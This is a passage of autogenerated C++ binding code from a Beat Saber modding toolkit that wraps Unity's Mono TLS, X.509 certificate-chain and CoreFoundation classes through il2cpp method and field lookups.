Mono.Unity.UnityTlsConversions #include "Mono/Unity/UnityTlsConversions.hpp" // Including type: System.Security.Authentication.SslProtocols #include "System/Security/Authentication/SslProtocols.hpp" // Including type: Mono.Security.Interface.TlsProtocols #include "Mono/Security/Interface/TlsProtocols.hpp" // Including type: Mono.Security.Interface.AlertDescription #include "Mono/Security/Interface/AlertDescription.hpp" // Including type: Mono.Security.Interface.MonoSslPolicyErrors #include "Mono/Security/Interface/MonoSslPolicyErrors.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509ChainStatusFlags #include "System/Security/Cryptography/X509Certificates/X509ChainStatusFlags.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol #include "Mono/Unity/UnityTls_unitytls_protocol.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTlsConversions.GetMinProtocol ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTlsConversions::GetMinProtocol(::System::Security::Authentication::SslProtocols protocols) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::GetMinProtocol"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "GetMinProtocol", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(protocols)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_protocol, false>(static_cast(nullptr), ___internal__method, protocols); } // Autogenerated method: Mono.Unity.UnityTlsConversions.GetMaxProtocol ::Mono::Unity::UnityTls::unitytls_protocol Mono::Unity::UnityTlsConversions::GetMaxProtocol(::System::Security::Authentication::SslProtocols protocols) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::GetMaxProtocol"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "GetMaxProtocol", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(protocols)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_protocol, false>(static_cast(nullptr), ___internal__method, protocols); } // Autogenerated method: Mono.Unity.UnityTlsConversions.ConvertProtocolVersion ::Mono::Security::Interface::TlsProtocols Mono::Unity::UnityTlsConversions::ConvertProtocolVersion(::Mono::Unity::UnityTls::unitytls_protocol protocol) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::ConvertProtocolVersion"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "ConvertProtocolVersion", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(protocol)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Security::Interface::TlsProtocols, false>(static_cast(nullptr), ___internal__method, protocol); } // Autogenerated method: Mono.Unity.UnityTlsConversions.VerifyResultToAlertDescription ::Mono::Security::Interface::AlertDescription Mono::Unity::UnityTlsConversions::VerifyResultToAlertDescription(::Mono::Unity::UnityTls::unitytls_x509verify_result verifyResult, ::Mono::Security::Interface::AlertDescription defaultAlert) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::VerifyResultToAlertDescription"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "VerifyResultToAlertDescription", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(verifyResult), ::il2cpp_utils::ExtractType(defaultAlert)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Security::Interface::AlertDescription, false>(static_cast(nullptr), ___internal__method, verifyResult, defaultAlert); } // Autogenerated method: Mono.Unity.UnityTlsConversions.VerifyResultToPolicyErrror ::Mono::Security::Interface::MonoSslPolicyErrors Mono::Unity::UnityTlsConversions::VerifyResultToPolicyErrror(::Mono::Unity::UnityTls::unitytls_x509verify_result verifyResult) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::VerifyResultToPolicyErrror"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "VerifyResultToPolicyErrror", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(verifyResult)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Security::Interface::MonoSslPolicyErrors, false>(static_cast(nullptr), ___internal__method, verifyResult); } // Autogenerated method: Mono.Unity.UnityTlsConversions.VerifyResultToChainStatus ::System::Security::Cryptography::X509Certificates::X509ChainStatusFlags Mono::Unity::UnityTlsConversions::VerifyResultToChainStatus(::Mono::Unity::UnityTls::unitytls_x509verify_result verifyResult) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsConversions::VerifyResultToChainStatus"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTlsConversions", "VerifyResultToChainStatus", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(verifyResult)}))); return ::il2cpp_utils::RunMethodRethrow<::System::Security::Cryptography::X509Certificates::X509ChainStatusFlags, false>(static_cast(nullptr), ___internal__method, verifyResult); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTlsProvider #include "Mono/Unity/UnityTlsProvider.hpp" // Including type: System.Guid #include "System/Guid.hpp" // Including type: System.Security.Authentication.SslProtocols #include "System/Security/Authentication/SslProtocols.hpp" // Including type: Mono.Security.Interface.IMonoSslStream #include "Mono/Security/Interface/IMonoSslStream.hpp" // Including type: System.IO.Stream #include "System/IO/Stream.hpp" // Including type: Mono.Security.Interface.MonoTlsSettings #include "Mono/Security/Interface/MonoTlsSettings.hpp" // Including type: System.Net.Security.SslStream #include "System/Net/Security/SslStream.hpp" // Including type: Mono.Security.Interface.ICertificateValidator2 #include "Mono/Security/Interface/ICertificateValidator2.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509CertificateCollection #include "System/Security/Cryptography/X509Certificates/X509CertificateCollection.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509Chain #include "System/Security/Cryptography/X509Certificates/X509Chain.hpp" // Including type: Mono.Security.Interface.MonoSslPolicyErrors #include "Mono/Security/Interface/MonoSslPolicyErrors.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTlsProvider.get_Name ::StringW Mono::Unity::UnityTlsProvider::get_Name() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_Name"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Name", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_ID ::System::Guid Mono::Unity::UnityTlsProvider::get_ID() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_ID"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_ID", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Guid, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_SupportsSslStream bool Mono::Unity::UnityTlsProvider::get_SupportsSslStream() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_SupportsSslStream"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_SupportsSslStream", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_SupportsMonoExtensions bool Mono::Unity::UnityTlsProvider::get_SupportsMonoExtensions() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_SupportsMonoExtensions"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_SupportsMonoExtensions", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_SupportsConnectionInfo bool Mono::Unity::UnityTlsProvider::get_SupportsConnectionInfo() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_SupportsConnectionInfo"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_SupportsConnectionInfo", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_SupportsCleanShutdown bool Mono::Unity::UnityTlsProvider::get_SupportsCleanShutdown() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_SupportsCleanShutdown"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_SupportsCleanShutdown", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.get_SupportedProtocols ::System::Security::Authentication::SslProtocols Mono::Unity::UnityTlsProvider::get_SupportedProtocols() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::get_SupportedProtocols"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_SupportedProtocols", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Security::Authentication::SslProtocols, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.UnityTlsProvider.CreateSslStream ::Mono::Security::Interface::IMonoSslStream* Mono::Unity::UnityTlsProvider::CreateSslStream(::System::IO::Stream* innerStream, bool leaveInnerStreamOpen, ::Mono::Security::Interface::MonoTlsSettings* settings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::CreateSslStream"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "CreateSslStream", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(innerStream), ::il2cpp_utils::ExtractType(leaveInnerStreamOpen), ::il2cpp_utils::ExtractType(settings)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Security::Interface::IMonoSslStream*, false>(this, ___internal__method, innerStream, leaveInnerStreamOpen, settings); } // Autogenerated method: Mono.Unity.UnityTlsProvider.CreateSslStreamInternal ::Mono::Security::Interface::IMonoSslStream* Mono::Unity::UnityTlsProvider::CreateSslStreamInternal(::System::Net::Security::SslStream* sslStream, ::System::IO::Stream* innerStream, bool leaveInnerStreamOpen, ::Mono::Security::Interface::MonoTlsSettings* settings) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::CreateSslStreamInternal"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "CreateSslStreamInternal", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(sslStream), ::il2cpp_utils::ExtractType(innerStream), ::il2cpp_utils::ExtractType(leaveInnerStreamOpen), ::il2cpp_utils::ExtractType(settings)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Security::Interface::IMonoSslStream*, false>(this, ___internal__method, sslStream, innerStream, leaveInnerStreamOpen, settings); } // Autogenerated method: Mono.Unity.UnityTlsProvider.ValidateCertificate bool Mono::Unity::UnityTlsProvider::ValidateCertificate(::Mono::Security::Interface::ICertificateValidator2* validator, ::StringW targetHost, bool serverMode, ::System::Security::Cryptography::X509Certificates::X509CertificateCollection* certificates, bool wantsChain, ByRef<::System::Security::Cryptography::X509Certificates::X509Chain*> chain, ByRef<::Mono::Security::Interface::MonoSslPolicyErrors> errors, ByRef status11) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsProvider::ValidateCertificate"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ValidateCertificate", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(validator), ::il2cpp_utils::ExtractType(targetHost), ::il2cpp_utils::ExtractType(serverMode), ::il2cpp_utils::ExtractType(certificates), ::il2cpp_utils::ExtractType(wantsChain), ::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(errors), ::il2cpp_utils::ExtractType(status11)}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, validator, targetHost, serverMode, certificates, wantsChain, byref(chain), byref(errors), byref(status11)); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTlsStream #include "Mono/Unity/UnityTlsStream.hpp" // Including type: System.Net.Security.SslStream #include "System/Net/Security/SslStream.hpp" // Including type: Mono.Security.Interface.MonoTlsSettings #include "Mono/Security/Interface/MonoTlsSettings.hpp" // Including type: Mono.Security.Interface.MonoTlsProvider #include "Mono/Security/Interface/MonoTlsProvider.hpp" // Including type: Mono.Net.Security.MobileTlsContext #include "Mono/Net/Security/MobileTlsContext.hpp" // Including type: System.Security.Authentication.SslProtocols #include "System/Security/Authentication/SslProtocols.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509Certificate #include "System/Security/Cryptography/X509Certificates/X509Certificate.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509CertificateCollection #include "System/Security/Cryptography/X509Certificates/X509CertificateCollection.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTlsStream.CreateContext ::Mono::Net::Security::MobileTlsContext* Mono::Unity::UnityTlsStream::CreateContext(bool serverMode, ::StringW targetHost, ::System::Security::Authentication::SslProtocols enabledProtocols, ::System::Security::Cryptography::X509Certificates::X509Certificate* serverCertificate, ::System::Security::Cryptography::X509Certificates::X509CertificateCollection* clientCertificates, bool askForClientCert) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTlsStream::CreateContext"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "CreateContext", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(serverMode), ::il2cpp_utils::ExtractType(targetHost), ::il2cpp_utils::ExtractType(enabledProtocols), ::il2cpp_utils::ExtractType(serverCertificate), ::il2cpp_utils::ExtractType(clientCertificates), ::il2cpp_utils::ExtractType(askForClientCert)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::Security::MobileTlsContext*, false>(this, ___internal__method, serverMode, targetHost, enabledProtocols, serverCertificate, clientCertificates, askForClientCert); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.X509ChainImplUnityTls #include "Mono/Unity/X509ChainImplUnityTls.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509ChainElementCollection #include "System/Security/Cryptography/X509Certificates/X509ChainElementCollection.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509ChainPolicy #include "System/Security/Cryptography/X509Certificates/X509ChainPolicy.hpp" // Including type: System.Collections.Generic.List`1 #include "System/Collections/Generic/List_1.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: private System.Security.Cryptography.X509Certificates.X509ChainElementCollection elements ::System::Security::Cryptography::X509Certificates::X509ChainElementCollection*& Mono::Unity::X509ChainImplUnityTls::dyn_elements() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::dyn_elements"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "elements"))->offset; return *reinterpret_cast<::System::Security::Cryptography::X509Certificates::X509ChainElementCollection**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref nativeCertificateChain ::Mono::Unity::UnityTls::unitytls_x509list_ref& Mono::Unity::X509ChainImplUnityTls::dyn_nativeCertificateChain() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::dyn_nativeCertificateChain"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "nativeCertificateChain"))->offset; return *reinterpret_cast<::Mono::Unity::UnityTls::unitytls_x509list_ref*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Security.Cryptography.X509Certificates.X509ChainPolicy policy ::System::Security::Cryptography::X509Certificates::X509ChainPolicy*& Mono::Unity::X509ChainImplUnityTls::dyn_policy() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::dyn_policy"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "policy"))->offset; return *reinterpret_cast<::System::Security::Cryptography::X509Certificates::X509ChainPolicy**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Collections.Generic.List`1 chainStatusList ::System::Collections::Generic::List_1<::System::Security::Cryptography::X509Certificates::X509ChainStatus>*& Mono::Unity::X509ChainImplUnityTls::dyn_chainStatusList() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::dyn_chainStatusList"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "chainStatusList"))->offset; return *reinterpret_cast<::System::Collections::Generic::List_1<::System::Security::Cryptography::X509Certificates::X509ChainStatus>**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.get_NativeCertificateChain ::Mono::Unity::UnityTls::unitytls_x509list_ref Mono::Unity::X509ChainImplUnityTls::get_NativeCertificateChain() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::get_NativeCertificateChain"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_NativeCertificateChain", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509list_ref, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.AddStatus void Mono::Unity::X509ChainImplUnityTls::AddStatus(::System::Security::Cryptography::X509Certificates::X509ChainStatusFlags errorCode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::AddStatus"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "AddStatus", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorCode)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, errorCode); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.get_IsValid bool Mono::Unity::X509ChainImplUnityTls::get_IsValid() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::get_IsValid"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_IsValid", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.get_ChainElements ::System::Security::Cryptography::X509Certificates::X509ChainElementCollection* Mono::Unity::X509ChainImplUnityTls::get_ChainElements() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::get_ChainElements"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_ChainElements", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Security::Cryptography::X509Certificates::X509ChainElementCollection*, false>(this, ___internal__method); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.set_ChainPolicy void Mono::Unity::X509ChainImplUnityTls::set_ChainPolicy(::System::Security::Cryptography::X509Certificates::X509ChainPolicy* value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::set_ChainPolicy"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "set_ChainPolicy", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(value)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, value); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.Reset void Mono::Unity::X509ChainImplUnityTls::Reset() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::Reset"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Reset", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Unity.X509ChainImplUnityTls.Dispose void Mono::Unity::X509ChainImplUnityTls::Dispose(bool disposing) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::X509ChainImplUnityTls::Dispose"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Dispose", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(disposing)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, disposing); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFObject #include "Mono/Net/CFObject.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: private System.IntPtr k__BackingField ::System::IntPtr& Mono::Net::CFObject::dyn_$Handle$k__BackingField() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::dyn_$Handle$k__BackingField"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "k__BackingField"))->offset; return *reinterpret_cast<::System::IntPtr*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Net.CFObject.get_Handle ::System::IntPtr Mono::Net::CFObject::get_Handle() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::get_Handle"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Handle", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFObject.set_Handle void Mono::Net::CFObject::set_Handle(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::set_Handle"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "set_Handle", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(value)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, value); } // Autogenerated method: Mono.Net.CFObject.dlopen ::System::IntPtr Mono::Net::CFObject::dlopen(::StringW path, int mode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::dlopen"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "dlopen", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(path), ::il2cpp_utils::ExtractType(mode)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, path, mode); } // Autogenerated method: Mono.Net.CFObject.dlsym ::System::IntPtr Mono::Net::CFObject::dlsym(::System::IntPtr handle, ::StringW symbol) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::dlsym"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "dlsym", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(symbol)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, symbol); } // Autogenerated method: Mono.Net.CFObject.dlclose void Mono::Net::CFObject::dlclose(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::dlclose"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "dlclose", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFObject.GetIndirect ::System::IntPtr Mono::Net::CFObject::GetIndirect(::System::IntPtr handle, ::StringW symbol) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::GetIndirect"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "GetIndirect", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(symbol)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, symbol); } // Autogenerated method: Mono.Net.CFObject.GetCFObjectHandle ::System::IntPtr Mono::Net::CFObject::GetCFObjectHandle(::System::IntPtr handle, ::StringW symbol) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::GetCFObjectHandle"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "GetCFObjectHandle", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(symbol)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, symbol); } // Autogenerated method: Mono.Net.CFObject.CFRetain ::System::IntPtr Mono::Net::CFObject::CFRetain(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::CFRetain"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "CFRetain", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFObject.Retain void Mono::Net::CFObject::Retain() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::Retain"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Retain", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Net.CFObject.CFRelease void Mono::Net::CFObject::CFRelease(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::CFRelease"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFObject", "CFRelease", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFObject.Release void Mono::Net::CFObject::Release() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::Release"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Release", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Net.CFObject.Dispose void Mono::Net::CFObject::Dispose(bool disposing) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::Dispose"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Dispose", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(disposing)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, disposing); } // Autogenerated method: Mono.Net.CFObject.Dispose void Mono::Net::CFObject::Dispose() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::Dispose"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Dispose", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Net.CFObject.Finalize void Mono::Net::CFObject::Finalize() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFObject::Finalize"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Finalize", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFArray #include "Mono/Net/CFArray.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private readonly System.IntPtr kCFTypeArrayCallbacks ::System::IntPtr Mono::Net::CFArray::_get_kCFTypeArrayCallbacks() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::_get_kCFTypeArrayCallbacks"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFArray", "kCFTypeArrayCallbacks")); } // Autogenerated static field setter // Set static field: static private readonly System.IntPtr kCFTypeArrayCallbacks void Mono::Net::CFArray::_set_kCFTypeArrayCallbacks(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::_set_kCFTypeArrayCallbacks"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFArray", "kCFTypeArrayCallbacks", value)); } // Autogenerated method: Mono.Net.CFArray.get_Count int Mono::Net::CFArray::get_Count() { static auto ___internal__logger = 